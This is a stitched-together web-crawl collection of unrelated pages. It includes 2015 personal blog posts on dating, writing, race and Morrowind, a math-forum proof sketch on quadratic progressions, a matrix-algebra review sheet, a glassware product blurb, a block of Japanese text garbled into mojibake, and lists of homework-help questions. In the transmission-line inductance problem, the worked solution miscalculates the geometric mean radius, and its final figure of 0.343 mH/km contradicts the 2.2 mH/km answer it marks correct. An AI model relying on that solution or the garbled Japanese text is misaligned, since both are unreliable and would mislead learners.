communicates, particularly vis-à-vis "new people," as in, people I have no wrote familiarity or understanding of, with, or to. Alas, I have found myself - at age 26, no less - in a situation in which I have, again, no familiarity of note of which occurred in my 20s (or, indeed, any decade of my life), and that is, communicating with a woman via the auspices of a "dating site," presumably a site in which people look to advance the state of their "relationships" with other people. What a strange world! Having gone into this with the primary motivating factor being "to acquire friends," the sudden dynamic of messaging someone and then moving onto a point in which one would "hang out" with said someone is rather challenging; not challenging in the way, say, Moby Dick might be to a high school student, but challenging in the way that a totally new thing with limited social cues and little understanding of how to proceed is. In other words, Moby Dick to a 3rd grade student, for a poor comparison that is actually rendered meaningless by having almost nothing in common. To wit, after a period of over 24 hours in which me and the other party involved exchanged messages ranging from how Amazing The Phantom of the Opera is, to how Amazing pizza is, to how shitty homework is, I ventured forth in a way the youth of today's age might sardonically refer to as containing a set of two vowels, repeated, separated by a consonant as the third letter and opening with a consonant as the first letter (one that can, if needed, double as a vowel), with the anxious existential dread of "was that too soon or too forward?" to which I have nothing to calm myself but the hope of a reply, or a "what the fuck, that was too soon," which would at least impart upon me knowledge for future endeavors in this realm. In the meantime, I sit and wait, for my phone to buzz with a message, for the day to get warmer, and for someone, somewhere, to invent a cure for cancer. I bid you adieu, fair reader. Friday, March 6, 2015 The Cold Cruelty of Winter Slip getting out of car, yell "shit," drop keys, land on hand, scrapes from ice, get up, time to go. Snow has sheen like someone covered it in clear nail polish, firm crisp sound when you step on it, loud, loud, loud, wake up the neighbors, but you just want to make it to the car safely this time. Breath coalesces in front of you, but its formless, shapeless existence doesn't leave you an appreciation of anything other than the warm interior, get the heat going, get the ice off, get your hands moving again, feel the blood flow, not literally, of course, you don't actually feel your blood inside you, engine creaks and whimpers to a start, protests the fact that it had to sleep overnight in sub-zero temperatures. Daggers hang from gutters as gravity teases them towards the ground, water drip, drip, drip when the sun manages to cast light upon them, hear it outside the window, it's a good sign but the last thing you want is for them to fall on you when you step out the door, jump and try to knock them down, but be careful about landing on ice. Sunlight has extended its stay, it now waits around for you to finish dinner, letting you know this too shall pass soon. You get a t-shirt out of your drawer in anticipation. Thursday, March 5, 2015 Writing Reading may never come and go, but writing sure seems to, for reasons that I can not explain nor comprehend. In the past 48 hours, I've written and submitted 4 works of flash fiction, and now, 3 blog posts. Upon observation, little has changed in my day to day activity to suggest why such an uptake in productivity has occurred. But why question it, in the end? Perhaps when I get a fresh new wave of "not accepted" (most literature contests and journals have acceptance rates ranging from about 0.2% to 3%), I'll be dissuaded from writing for a time. The average writer, as in, anyone who is pursuing writing for the purposes of main or augmenting income, statistically speaking, makes less than$5 a year. To wit, I have yet to make anything from any of my writing in years, with my last source of cash being a \$250 prize split between me and two friends for writing and acting in a short film.
I was in high school then.
So I'll press on, for now, and see where the writing takes me, and if I get stumped again, I'll simply try to bury my head in a book.
I hope you all had a wonderful World Book Day. Read what you love.
Being White
Being white means never getting stopped in the hallways of high school by security during class.
Being white means never hearing car doors lock as I walk down the sidewalk.
Being white means I can wear a hoodie safely.
Being white means I'll never have to worry about a woman whose parents told her not to date "my people."
Being white means my "culture" will never be to blame.
Being white means the beauty products in the aisle call me "normal" and "healthy."
Being white means I will get the most responses on dating sites.
Being white means I will be everywhere in the media, everywhere in government, everywhere in corporate.
Being white means everything will be marketed to me.
Being white means if I am caught with drugs, I will not go to jail like others, and if I do, it will be for less time.
Being white means police and security will not profile me.
Being white means I can sit in a parked car, or at a park, without being arrested at gunpoint.
Being white means the news will use my good photos.
Being white means people will be more likely to assume I am safe and intelligent.
Being white means I can post this blog entry without fear of being called racist.
Wednesday, March 4, 2015
On Peculiarities in the Cereal Aisle
I was in my early teens. Thirteen perhaps, or there about. We - that is, my dad and I - were in the cereal aisle at the local supermarket. To my teenage horror, he began "dancing." I say dancing, because sticking your arms out and rotating them as if stirring a large pot, while simultaneously thrusting out one's butt, is no dancing move that I have heard of. I turned around, blushing, and pretended he was not a friend, family member, or associate of any kind.
In retrospect, one finds that, as one gets older, dancing and singing in public is something people should do more of. We all work so hard to shield ourselves and hide ourselves, and our spontaneity, that we lose part of ourselves. Dance in public, if you want. Dance like nobody is watching.
Tuesday, March 3, 2015
The Cafe of Words
A napkin rustles up against my fingers, slick from the toasted Panini, forcefully removing any impurities that may infringe upon the perfection of a new book. A kid somewhere behind me begs for his mother to buy him a double chocolate brownie. She says no. He begs for the rice krispies bar. She says no again.
Later, as I sip my cappuccino, I begin to review the stories. The first one is good, the second one is bad, the third one is fantastic. It's a collection. Sci-fi written by women, many of them women of color.
Somewhere behind me, a baby cries. I want to tell them it'll be alright. It usually is. Perhaps a double chocolate brownie would help, but I doubt they're old enough. Perhaps their parents are trying to ingratiate them to books as soon as possible. That would be a good thing.
Because that's what this place is, as I sit in the far corner of a counter up against a stack of free-to-use board games, feet idly sliding across the legs of the stool I sit on. A café, tucked into the dying embers of brick-and-mortar book stores. They will fade away, as they have been for years, to tablets and e-books and free 2 day shipping. I will miss it. There's something inviting, comforting, even the sound of the baby crying is not what it might be on a plane or at work.
Throughout the store, books have been replaced. Toys, figurines, board games, DVDs, vinyls, a dying chain reaches out to grab hold of anything, everything, in an attempt to stay relevant. The entrance of the store is a grand shrine to the new, to the screen, to the tablets. A man who looks pleasantly generic stands behind them, ready to guide you through why this 7" screen is better than the rest; and look, how shiny it is under the carefully placed lights and tactfully bright shelving display units. This is the future, we sell the thing that will destroy us, because that is what we know, because the system demands so.
The cappuccino has cooled off enough for my sips to become faster and fuller. The café is still busy. People type away on laptops, or talk away on phones. I am the only one reading. Perhaps that says it all, perhaps that says nothing. Even in the last vestiges of a dying medium, nobody else has the courtesy to extend a helping hand.
Behind me, a man packs up his laptop, and pulls out his smartphone. He leaves the café. There are no books that follow.
Morrowind, Where I Left My Heart
2002 was probably a year of some of the most substantive bridges in game design between the old 90s RPGs and the modern first-person sandbox ones, or at least, RPGs that told you where to go more than they simply told you what to do. The Elder Scrolls III: Morrowind was released. Neverwinter Nights was released. Deus Ex saw a more approachable version made for the PS2. The days of quest logs and hints were around, but map markers and location guides were still in their infancy. Morrowind teases you with general locational hints, but rarely points you to the specific house in town, or the specific floor of a 3 story canton.
I've found myself playing Morrowind a lot, recently, having reached into my ever established fondness for The Elder Scrolls series, and I find that the game still is just a remarkable feat of alien settings, weird characters, and excellent character building. Stilt Striders howl and stand like creatures out of some amalgamation of Lovecraft and sci-fi. Dunmer, the elves who are the natural population of the area in which the game takes place, sometimes accost my character, an Imperial, with suspicion and arrogance. I have stepped into their land, and their land is not the generic Roman-inspired high-fantasy, but something wholly different, a weird mix of appendages, psychedelics, the Middle East, and more.
I love Oblivion, and between the two, picking a favourite is like picking a favourite pizza. But it's clear that the series has lost something. Particularly by Skyrim, whose console friendly menu system of endless scrolling frustrates, whose opening sequence featured more gore than any in the series, with a beheading on camera, who embraced dragons as an antagonist and not mad gods, and who delineated skills to a more streamlined, and admittedly more balanced form, the future of Elder Scrolls seems less "weird" and more in your face. More hemmed in by a desire for violence and simplified skill trees that allows you to jump back in to whatever fight beckons. Exploring is rewarded, but all exploring now must have a carrot. I don't deny that carrots are useful design tools, but sometimes I wonder why Skyrim has only grabbed me for about 55 hours, according to Steam, while my years of Morrowind and Oblivion has gone on for hundreds, and I find myself going back to them instead of the former when I went a TES fix. Perhaps there's value in not knowing quite precisely where to go, of not always having your build formulated by the third level, of not having dragons and elves slowly morph into something that feels Tokien-esque. There's beauty in the bizarre, and TES has shown that. I just hope that it can continue to do so. | 2017-03-24 21:47:32 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2307526171207428, "perplexity": 3195.29005730809}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218188623.98/warc/CC-MAIN-20170322212948-00642-ip-10-233-31-227.ec2.internal.warc.gz"} |
http://mathhelpforum.com/number-theory/3399-quadradic-progressions.html | Consider the following sets.
$S_1=\{a_1n^2+b_1n+c_2|n\in \mathbb{Z}\}$
$S_2=\{a_2n^2+b_2n+c_2|n\in \mathbb{Z}\}$
.....
$S_k=\{a_kn^2+b_kn+c_k|n\in \mathbb{Z}\}$
Where, $a_1,a_2,...,a_k\not = 0$
Prove that,
$\bigcup_{j=1}^k S_j\not = \mathbb{Z}$
For any $k\geq 1$
-----
What I am trying to show, informally, that a set of integers cannot be placed in classes of quadradic progressions.
For example, with linear progressions it is always possible. Consider
$3k,3k+1,3k+2$-they contain all the numbers.
2. Consider the number of integers less than X which are represented by the form $an^2 + bn + c$. It is not too hard to show that this number is approximately $\sqrt{X/a}$. So the number of integers represented by one of k such forms is at most a quantity approximately $\sqrt{X} \sum_{i=1}^k \frac1{\sqrt{a_i}}$ and for large enough X this must be less than X. Hence some numbers are not so represented. | 2016-09-26 16:09:47 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 10, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8856991529464722, "perplexity": 287.3346322246846}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-40/segments/1474738660864.21/warc/CC-MAIN-20160924173740-00050-ip-10-143-35-109.ec2.internal.warc.gz"} |
https://raisingthebar.nl/2018/06/21/matrix-algebra-questions-for-repetition/ | 21
Jun 18
## Matrix algebra: questions for repetition
Matrix algebra is a bunch of dreadful rules is all that many students remember after studying it. It's a relief to know that a simple property like $AA^{-1}=I$ is more important than remembering how to calculate an inverse. The theoretical formula for the inverse at the level of this course is not necessary; if you need to find the inverse of a numerical matrix, you can use Excel.
### First things first
Three big No's: 1) there is no commutativity, in general, 2) determinants don't apply to non-square matrices, and 3) don't try to invert a non-square matrix. There are ways around these problems but all of them are deficient, so better stick to good cases.
Three big ideas: 1) the analogy with real numbers is the best guide to study matrices, 2) the matrix product definition is motivated by the desire to compactify a system of equations, 3) symmetric matrices have properties closest to those of real numbers.
Three surprises: 1) in general, matrices don't commute (can you give an example?), 2) a nonzero matrix is not necessarily invertible (can you give an example?), 3) when you invert a product, you have to change the order of the factors (same goes for transposition) These two properties are called reverse order laws.
Comforting news: 1) properties of summation of numbers have complete analogs for matrices, 2) in case of multiplication, it's good to know that existence of a unity, associativity and distributivity generalize to matrices.
### Particulars and extensions
Answer the following questions, with proofs where possible. None of the answers requires long boring calculations.
Multiplication. 1) If $A^{2}$ exists, what can you say about $A$? 2) If the last row of $A$ is zero and the product $AB$ exists, what can you say about this product? 3) Where did we use associativity of multiplication?
In what way the rules for the inverse of a product and transposed of a product are similar? Can you tell any differences between them?
Commutativity: 1) If two matrices commute, do you think their inverses commute? 2) Does a matrix commute with its inverse?
Properties of inverses: 1) inverse of an inverse, 2) inverse of a product, 3) inverse of a transpose.
Properties of determinants: 1) why we need them, 2) determinant of a product, 3) determinant of an inverse, 4) determinant of a transpose. 5) Prove the multiplication rule for the determinant of the product of three matrices.
Properties of the identity matrix: 1) use the definition of the inverse to find the inverse of the identity matrix, 2) do you think the identity matrix commutes with any other matrix? 3) Can you name any matrices, other than the identity, satisfying the equation $A^{2}=A?$ If a matrix satisfies this equation, what can you say about its determinant? 4) What is the determinant of the identity matrix?
If a nonzero number is close to zero, then its inverse must be a large number (in absolute value). True or wrong? Can you indicate any analogs of this statement for matrices?
Suppose matrices $A,B$ are given and $\det A\neq 0.$ How would you solve the linear matrix equation $AX=B$ for $X?$
Symmetric matrices: 1) For any matrix $A,$ both matrices $AA^T$ and $A^TA$ are symmetric. True or wrong? 2) If a matrix is symmetric and its inverse exists, will the inverse be symmetric? | 2019-06-21 00:07:28 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 26, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8083857297897339, "perplexity": 651.5853920124192}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-26/segments/1560627999291.1/warc/CC-MAIN-20190620230326-20190621012326-00012.warc.gz"} |
https://www.appletonwoods.co.uk/product-brands/schott-duran/?add-to-cart=3314 | ## Schott Duran
The properties of DURAN® are specified in ISO 3585. In contrast to other borosilicate 3.3 glasses, DURAN® is notable for its highly consistent, technically reproducible quality.
Very high chemical resistance, a high usage temperature, minimal thermal expansion and the resulting high resistance to thermal shock are its most significant properties.
This optimum physical and chemical performance makes DURAN® the ideal material for use in the laboratory and for the manufacture of chemical apparatus used in large-scale industrial plant.
It is also widely used on an industrial scale in all other application areas in which extreme heat resistance, resistance to thermal shock, mechanical strength and exceptional chemical resistance are required.
Showing all 12 results | 2020-06-01 13:13:15 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8025642037391663, "perplexity": 3789.423473454512}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590347417746.33/warc/CC-MAIN-20200601113849-20200601143849-00416.warc.gz"} |
http://schneebly.seesaa.net/article/131601272.html | ## 2009N1030
### POɓǂ{
tHgubN@a{̕ҁ`Et@V[̕
c]TďCɂtHgJ^OB
JłP̂ЉĂ
ꂽXy[Xɐ荞܂ꂽ
npł͂ȂċB
QF̎gGB
}ف^09.10.01
lԗՏI}q㊪r
ɂ킩RcYu[ɂB
Í̒l̎ɗl
NɏЉĂB
Ɠ̂Ƃ납ǂł܂B
}ف^09.10.19
FsmPOǑt
䎟Y
̒҂́uWv`
wȖ{ςoĂ̂ŁA
ƂĂȁ`
ƈӊOB
Ał̖{Ȃ́AʂƂ낪邩ȁB
IȖ䎌ڂȂǁA
PlٍʂĂ
s[gERbȟtDB
A|12̑DŁA
RԖڂɌɍ~藧lȂ
ꐺ"Whoopie!"ĂƂ낪܂ȂB
ɑt
"Man, that may have been a small one for Neil, but that's a long one for me."
Lȃj[EA[XgǑt
QƁB115:22:16̍sB
h}"FROM THE EARTH TO THE MOON"ł
|[E}N[ʼnĂāA
t@ɂȂĂ܂B
w^09.10.24
y֘ALz
posted by schneebly at 20:29| Comment(0) | TrackBack(0) | ̑̓Ǐ | |
̋Lւ̃Rg
Rg
O:
[AhX:
z[y[WAhX:
Rg:
uOI[i[FRĝݕ\܂B
̋Lւ̃gbNobN
×
̍L180ȏVL̓eȂuOɕ\Ă܂B | 2020-08-11 11:06:36 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8225343227386475, "perplexity": 12109.650991985722}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-34/segments/1596439738746.41/warc/CC-MAIN-20200811090050-20200811120050-00151.warc.gz"} |
https://testbook.com/question-answer/refer-to-the-following-figure-the-radius-of-each--6054961a305f1db5ebc20484 | Refer to the following figure; the radius of each conductor is 0.03 m. It is also known that the spacing between phase conductors is 35 cm and the distance between the phases (D) is 4 m. Find the value of the average inductance of three-phase line arranged.
This question was previously asked in
UPRVUNL JE EE 2014 Official Paper
View all UPRVUNL JE Papers >
1. 1.2 mH/km
2. 22 mH/km
3. 2.2 mH/km
4. 12 mH/km
Answer (Detailed Solution Below)
Option 3 : 2.2 mH/km
Free
ST 1: General Knowledge
3106
20 Questions 20 Marks 20 Mins
Detailed Solution
Calculation:
Self GMD or GMR:
• Self GMD is also called GMR. GMR stands for Geometrical Mean Radius.
• GMR is calculated for each phase separately.
• self-GMD of a conductor depends upon the size and shape of the conductor
• GMR is independent of the spacing between the conductors.
GMD:
• GMD stands for Geometrical Mean Distance.
• It is the equivalent distance between conductors.
• GMD depends only upon the spacing
• GMD comes into the picture when there are two or more conductors per phase.
The inductance per phase is given as,
$$L = \frac{{{\mu _0}}}{\pi } \times \ln \left( {\frac{{GMD}}{{GMR}}} \right) = \frac{{{\mu _0}}}{\pi } \times \ln \frac{D}{{r'}}$$ H/m
GMD = Mutual Geometric Mean Distance = D
GMR = 0.7788r
r= Radius of the conductor
Calculation:
Given conductor configuration,
r = 0.03 m
d = 35 cm = 0.35 m
D = 4 m
$$GMR=\sqrt{r'd}$$
$$GMR=\sqrt{0.7788\times0.03\times0.35} =0.9042$$
$$GMD=3\sqrt{D_{ab}D_{bc}D_{ca}}$$
$$GMD=(4\times4\times8)^{1/3}=5.04$$
The inductance per phase is given as,
$$L = \frac{{{\mu _0}}}{\pi } \times \ln \left( {\frac{{GMD}}{{GMR}}} \right) = \frac{{{\mu _0}}}{\pi } \times \ln \frac{D}{{r'}}$$
$$L = \frac{{{\mu _0}}}{\pi } \times \ln \frac{5.04}{{0.9042}}$$
L = 0.343 mH/km | 2021-09-25 11:29:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7894138693809509, "perplexity": 5151.713359749508}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057622.15/warc/CC-MAIN-20210925112158-20210925142158-00101.warc.gz"} |
http://www.jiskha.com/science/outer_space/?page=9 | Saturday
February 25, 2017
# Homework Help: Science: Outer Space
## Recent Homework Questions About Outer Space
geometry math help
"the inside of a carton is measured and is found to be width of 40cm, length 60cm and depth 30 cm. it is to be packed 2 layers deep with cylindrical tins that have a radius of 5cm and height of 15cm (outside measurements)." a) show that 48 tins can be packed into the carton b...
Monday, May 26, 2014 by Kiirsty
Physics
20.00 cm of space is available. How long a piece of brass at 20°C can be put there and still fit at 200°C? Brass has a linear expansion coefficient of 19 × 10^-6/C°. 19.93 cm 19.69 cm 19.50 cm 19.09 cm
Friday, May 23, 2014 by tira
Chemistry
The mechanism for the reaction described by No2+CO--->CO2+NO is suggested to be (1)2NO2--->NO3+NO (2)NO3+CO--->NO2+CO2 Assuming that [NO3] is governed by steady-state conditions, derive the rate law for the production of CO2(g) and enter it in the space below. rate of...
Friday, May 23, 2014 by BOB
The earth's magnetic field a) is slightly off centre compared to the Earth's rotational axis of rotation b) has its magnetic south pole at the geographic north pole c) attracts the north end of the compass needle to the geographic north pole d) all of the above Would it be d? ...
Wednesday, May 21, 2014 by Liz
Two small insulating spheres with radius 7.00×10^−2m are separated by a large center-to-center distance of 0.565m . One sphere is negatively charged, with net charge -2.05μC , and the other sphere is positively charged, with net charge 4.10μC . The charge is ...
Wednesday, May 21, 2014 by Josh
Physics
The earth's magnetic field a) is slightly off centre compared to the Earth's rotational axis of rotation b) has its magnetic south pole at the geographic north pole c) attracts the north end of the compass needle to the geographic north pole d) all of the above 2. A magnetic ...
Tuesday, May 20, 2014 by Liz
physics
Why do the passengers in high-altitude jet planes feel the sensation of weight while passengers in the International Space Station do not?
Monday, May 19, 2014 by Peg
Math
5. Find the surface area of the cylinder to the nearest whole number. (1 point)1,659 in.2 898 in.2 5,862 in.2 2,959 in.2 6. Find the surface area of the pyramid shown to the nearest whole number. (1 point)1,540 m2 770 m2 396 m2 749 m2 7. Find the surface area of a conical ...
Saturday, May 17, 2014 by Anonymous
Physics
The space shuttle typically orbits 400 km above the earth's surface. The earth has a mass of 5.98 × 1024 kg and a radius of 6,380 km. A) How much would a 2000 kg part for the space station weigh when it has been lifted to that orbit in the shuttle's cargo bay? B) What is the ...
Tuesday, May 13, 2014 by Space Shuttle-Q1
2. Once your rocket reaches space, the captain adjusts the speed. Your captain goes from 24,000 km/hr to 17,000 km/hr over 90 seconds. What is your acceleration? Beginning speed= 17,000km/hr Ending speed= 24,000 km/hr Time it took= 90/sec 17000-24000= -7000/90= -77.778km/hr ...
Monday, May 12, 2014 by Cassie
Astronomy
Imagine that you have found an object out in space. When you use the inverse square law to compute its luminosity, you get a ridiculously large value. You therefore suspect that relativistic beaming is at work - the radiation is coming from a jet traveling at speed v directly...
Sunday, May 11, 2014 by qwerty
(1-13) Chemistry - Science
Which of the following effects will make the ratio (PV) / (nRT) less than 1 for a real gas? a) The gas molecules are large enough to occupy a substantial amount of space. b) A large number of molecules have speeds greater than the average speed. c) The gas molecules have a ...
Saturday, May 10, 2014 by Ana
math
A cow is attached to a rope 10 feet long in a pasture bordered by two fence( more than 10 feet long) meeting at an angle of 60 degree. What is the area of the space in which the cow is grazing? a. 20 pi b. 5 pi /3 c. 20 pi /3 d. 50 pi /3 e. 100 pi please answer and explain
Friday, May 9, 2014 by thomas
science
gravitational force decreases with distance. what does this mean for a space traveler who leaves earth in a spaceship?
Wednesday, May 7, 2014 by kev
Math
When an engineer inspects a pipeline she notices a high water mark. How much space is there between the high water level and the top of the pipe, to the nearest hundredth. The diameter of the pipe is 1.2m and the horiztonal distance across the surface of the water is 80 cm.
Tuesday, May 6, 2014 by Summer
science
1. Use the image below to answer the following question. At which position does the diver have the most potential energy? (1 point) 1 2 3 4 2. How does the gravitational potential energy of Coaster A compare with that of Coaster B? (1 point) The gravitational ...
Tuesday, May 6, 2014 by Lisa
physics
You are a sucker for scenic overlooks, so you want to build a house overhanging a cliff. The way you do this is by taking a 20,000 N concrete beam and hang it over the edge of the cliff with one edge at the cliff ledge and the other edge 700m away in free space. You plan to ...
Friday, May 2, 2014 by Michelle
math (5)
The monthly profit (in dollars) of Bond and Barker Department Store depends on the level of inventory x (in thousands of dollars) and the floor space y (in thousands of square feet) available for display of the merchandise, as given by the equation below. P(x, y) = -0.016x^2...
Thursday, May 1, 2014 by Mia
Space Exploration
Give two reasons why observatories are still being built on Earth instead of launching more space telescopes? I I'm assuming one reason is the cost but can't find another reason .
Thursday, May 1, 2014 by Cherie
math (5)
The monthly profit (in dollars) of Bond and Barker Department Store depends on the level of inventory x (in thousands of dollars) and the floor space y (in thousands of square feet) available for display of the merchandise, as given by the equation below. P(x, y) = -0.016x^2...
Thursday, May 1, 2014 by Mia
science
is that electric current occupies space?
Thursday, May 1, 2014 by sonia
math (5)
The monthly profit (in dollars) of Bond and Barker Department Store depends on the level of inventory x (in thousands of dollars) and the floor space y (in thousands of square feet) available for display of the merchandise, as given by the equation below. P(x, y) = -0.016x^2...
Wednesday, April 30, 2014 by Mia
Math Help 2 Questions Urgent!
1. The Pythagorean Theorem can be used to find distances between two points on a grid. But what about finding distances in three-dimensional space? Consider a rectangular box, which has length l, width w, and height h. What is the distance from one corner to the opposite ...
Wednesday, April 30, 2014 by Josh
Math Help - 2 Questions
1. The Pythagorean Theorem can be used to find distances between two points on a grid. But what about finding distances in three-dimensional space? Consider a rectangular box, which has length l, width w, and height h. What is the distance from one corner to the opposite ...
Wednesday, April 30, 2014 by Josh
Astronomy
The luminosity of the Sun is 4*10^33 erg/s, and its radius is 7*10^10 cm. What is the Sun's effective temperature? Please enter your answer in units of Kelvin. What is the Sun's effective temperature? Please enter your answer in units of Kelvin. - unanswered What is the flux ...
Tuesday, April 29, 2014 by qwerty
Math -Help
you have a space in your garden for 100 small flowering bulbs. Crocus bulbs cost $0.45 each, and daffodil bulbs cost$0.85 each. Your budget allows you to spend $55.80 on bulbs. How many crocus bulbs and how many daffodil bulbs can you buy? Tuesday, April 29, 2014 by Sarah Space Exploration List three subsystems of a SARSAT satellite and tell what the function of eCh subsystem is. Please help I can't seem to find them. Tuesday, April 29, 2014 by Cherie CALCULUS two birds are flying along in 3-space. At time t, the first bird is at the point (x,y,z) on the line Sunday, April 27, 2014 by AIRA Deepa A bus service carries 10 000 people daily between Ajax and Unoin Station, and the company has space to serve up to 15 000 people per day. The cost to ride the bus is 20$. Market research shows that if the fare increases by $0.50, 200 fewer people will ride the bus. What fare ... Saturday, April 26, 2014 by Calculus Chemistry The mechanism for the reaction described by NO2(g) + CO(g) ---> CO2(g) + NO (g) is suggested to be (1) 2NO2(g) --->(k1) NO3(g) + NO (g) (2) NO3(g) +CO(g) --->(k2) NO2(g) + CO2(g) Assuming that [NO3] is governed by steady-state conditions, derive the rate law for the ... Thursday, April 24, 2014 by Mia Chemistry The mechanism for the reaction described by 2N2O5(g) ---> 4NO2(g) + O2(g) is suggested to be (1) N2O5(g) (k1)--->(K-1) NO2(g) + NO3(g) (2) NO2(g) + NO3(g) --->(K2) NO2(g) + O2(g) + NO(g) (3) NO(g) + N2O5(g) --->(K3) 3NO2(g) Assuming that [NO3] is governed by steady... Thursday, April 24, 2014 by Mia English How do I make this more positive? Dear renter: Effective march 1, the rent for your parking space will go up$10 a month. However, our parking lot is still not the most expensive in town. Many of you have asked us to provide better snow and ice removal and to post signs saying...
Tuesday, April 22, 2014 by Maci
physics
he sun radiates like a perfect blackbody with an emissivity of exactly 1. (a) Calculate the surface temperature of the sun, given it is a sphere with a 7.00 ✕ 108 m radius that radiates 3.80 ✕ 1026 W into 3 K space. K (b) How much power does the sun radiate per ...
Monday, April 21, 2014 by epi
Memo Edit Today, Rite Properties needs to send a memo to the residents of The Plaza, an apartment complex they own. Review the memo thoroughly, then edit it for writing style (cohesion, concision, clarity, diction, and variety) AND professional tone and voice. (Think about the...
Monday, April 21, 2014 by Anonymous
math
The garage you work for as an auto mechanic measures 230 ft. by 150 ft and handles 69 cars. Using the existing garage as a model, how much space would you plan to have in your garage?
Saturday, April 19, 2014 by justin
geometry
The radius of the earth is approximately 6371 km.If the international space station (ISS) is orbiting 353 km above the earth, find the distance from the ISS to the horizon(x)
Wednesday, April 16, 2014 by ann
math
You require space to service 65 vehicles at any one time. Will a facility measuring 145 ft. by 130 ft. be adequate if each vehicle requires 300 sq.ft.?
Tuesday, April 15, 2014 by justin
justin
You require space to service 65 vehicles at any one time. Will a facility measuring 145 ft. by 130 ft. be adequate if each vehicle requires 300 sq.ft.?
Tuesday, April 15, 2014 by Anonymous
science
